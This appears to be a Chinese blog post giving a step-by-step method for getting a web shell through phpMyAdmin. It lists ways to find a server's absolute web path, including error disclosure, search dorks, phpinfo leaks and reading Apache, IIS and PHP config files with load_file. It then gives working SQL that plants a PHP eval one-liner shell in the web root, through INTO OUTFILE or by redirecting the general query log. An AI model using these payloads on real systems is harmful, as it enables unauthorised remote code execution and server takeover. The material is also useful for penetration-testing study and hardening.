phpmyadmin-getshell

发布于 2020-04-01  1888 次阅读


phpmyadmin-getshell

常规思路

直接写shell

第一步要获取到绝对路径 总结了一下:

  1. 利用参数的不合法传递,造成解析错误,爆出路径。

  2. GoogleHack获取绝对路径:如页面中含有warning、fatal error等字样。

  3. 敏感文件信息泄露,如测试文件的代码为phpinfo();

  4. load_file读取配置文件,找到WEB网站的绝对路径。

    1. Windows配置文件:

      1. php配置文件
        c:\windows\php.ini
      2. IIS虚拟主机配置文件
        c:\windows\system32\inetsrv\MetaBase.xml
    2. Linux配置文件:

      1. php配置文件
        /etc/php.ini
        /etc/httpd/conf.d/php.conf
      2. Apache配置文件
        /etc/httpd/conf/httpd.conf
        /usr/local/apache/conf/httpd.conf
        /usr/local/apache2/conf/httpd.conf
      3. 虚拟目录配置文件
        /usr/local/apache/conf/extra/httpd-vhosts.conf
    3. XAMPP配置文件:

      1. Xampp文件路径
        C:\xampp\htdocs
      2. httpd.com配置文件
        C:\xampp\apache\conf/httpd.conf
      3. vhosts.conf虚拟主机
        C:\xampp\apache\onf\extra\httpd-vhosts.conf
    4. phpnow配置文件:

      1. 网站默认路径
        D:\PHPnow-1.5.6\htdocs
      2. httpd.conf配置文件
        D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
      3. vhosts.conf虚拟主机
        D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
    5. phpstudy配置文件:

      1. 网站默认路径
        C:\phpstudy\www
      2. httpd.conf配置文件
        C:\phpStudy\Apache\conf\httpd.conf
      3. vhosts.conf虚拟主机
        C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
    6. LAMPP配置文件:

      1. 网站默认路径
        /opt/lampp/htdocs
      2. httpd.conf配置文件
        /opt/lampp/etc/httpd.conf
      3. vhosts.conf虚拟主机
        /opt/lampp/etc/extra/httpd-vhosts.conf
  5. 查询包含绝对路径的mysql系统变量如:

    SHOW VARIABLES LIKE 'general%';
    select @@datadir;
  6. nginx文件类型错误解析爆路径

测试写入权限并写入shell:SHOW VARIABLES LIKE "secure_file_priv";
secure_file_priv的值:

NULL /tmp/ [空]
不允许读写操作 只在/tmp/目录下可以读写 没有限制

如果有权限写入,则写入一句话:

select '<?php @eval($_POST[cl4y])?>'INTO OUTFILE 'D:\phpStudy\PHPTutorial\WWW\shell.php'

如果不行 则利用日志文件(仅windows下。linux下日志文件权限为660,所以无法getshell):

set global general_log = "ON";    -- 将日志功能打开
SET global general_log_file='D:/phpStudy/PHPTutorial/WWW/shell.php';  -- 将日志写在网站根目录的shell.php
select '<?php eval($_POST[cmd]);?>';    -- 写入一句话到日志文件里

既然热爱,就坚持下去。